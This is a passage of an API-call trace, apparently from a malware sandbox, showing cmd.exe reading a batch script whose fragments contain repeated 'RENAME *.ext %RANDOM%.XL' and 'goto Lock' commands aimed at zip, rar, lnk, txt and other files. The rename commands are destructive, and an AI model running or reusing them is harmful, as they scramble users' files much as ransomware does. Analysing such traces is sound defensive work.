lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=2865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0037.755] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0037.755] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0037.755] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.755] GetFileType (hFile=0x74) returned 0x1 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0037.755] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=2876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0037.755] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0037.755] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0037.755] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.755] GetFileType (hFile=0x74) returned 0x1 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0037.755] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0037.755] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0037.755] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.755] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0037.756] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.756] GetFileType (hFile=0x74) returned 0x1 [0037.756] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0037.756] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.756] SetFilePointer (in: hFile=0x74, lDistanceToMove=2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0037.756] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0037.756] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.756] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0037.756] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.756] GetFileType (hFile=0x74) returned 0x1 [0037.756] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0037.756] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.756] SetFilePointer (in: hFile=0x74, lDistanceToMove=2910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0037.756] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0037.756] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.756] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0037.756] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.756] GetFileType (hFile=0x74) returned 0x1 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0037.757] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=2921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0037.757] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0037.757] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0037.757] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.757] GetFileType (hFile=0x74) returned 0x1 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0037.757] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=2923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0037.757] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.757] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0037.757] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.757] GetFileType (hFile=0x74) returned 0x1 [0037.757] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0037.757] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.758] SetFilePointer (in: hFile=0x74, lDistanceToMove=2929, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0037.758] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0037.758] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.758] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0037.758] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.758] GetFileType (hFile=0x74) returned 0x1 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0037.759] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=2931, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0037.759] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0037.759] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0037.759] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.759] GetFileType (hFile=0x74) returned 0x1 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0037.759] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0037.759] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0037.759] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0037.759] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.759] GetFileType (hFile=0x74) returned 0x1 [0037.759] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0037.760] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=2959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0037.760] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0037.760] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0037.760] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.760] GetFileType (hFile=0x74) returned 0x1 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0037.760] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=2970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0037.760] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0037.760] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0037.760] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.760] GetFileType (hFile=0x74) returned 0x1 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0037.760] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.760] SetFilePointer (in: hFile=0x74, lDistanceToMove=2972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0037.761] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.761] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0037.761] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.761] GetFileType (hFile=0x74) returned 0x1 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0037.761] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=2978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0037.761] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0037.761] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0037.761] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.761] GetFileType (hFile=0x74) returned 0x1 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0037.761] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=2980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0037.761] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0037.761] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.761] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0037.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.762] GetFileType (hFile=0x74) returned 0x1 [0037.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0037.762] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=3006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0037.762] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0037.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0037.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.762] GetFileType (hFile=0x74) returned 0x1 [0037.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0037.762] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=3017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0037.762] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0037.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0037.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.762] GetFileType (hFile=0x74) returned 0x1 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0037.763] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=3019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0037.763] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.763] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0037.763] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.763] GetFileType (hFile=0x74) returned 0x1 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0037.763] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=3025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0037.763] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0037.763] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0037.763] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.763] GetFileType (hFile=0x74) returned 0x1 [0037.763] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0037.764] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.764] SetFilePointer (in: hFile=0x74, lDistanceToMove=3027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0037.764] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0037.764] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.764] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0037.764] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.764] GetFileType (hFile=0x74) returned 0x1 [0037.764] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0037.764] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.764] SetFilePointer (in: hFile=0x74, lDistanceToMove=3053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0037.764] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0037.764] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.764] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0037.764] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.764] GetFileType (hFile=0x74) returned 0x1 [0037.764] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0037.764] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0037.765] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0037.765] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0037.765] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.765] GetFileType (hFile=0x74) returned 0x1 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0037.765] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=3066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0037.765] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.765] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0037.765] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.765] GetFileType (hFile=0x74) returned 0x1 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0037.765] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.765] SetFilePointer (in: hFile=0x74, lDistanceToMove=3072, 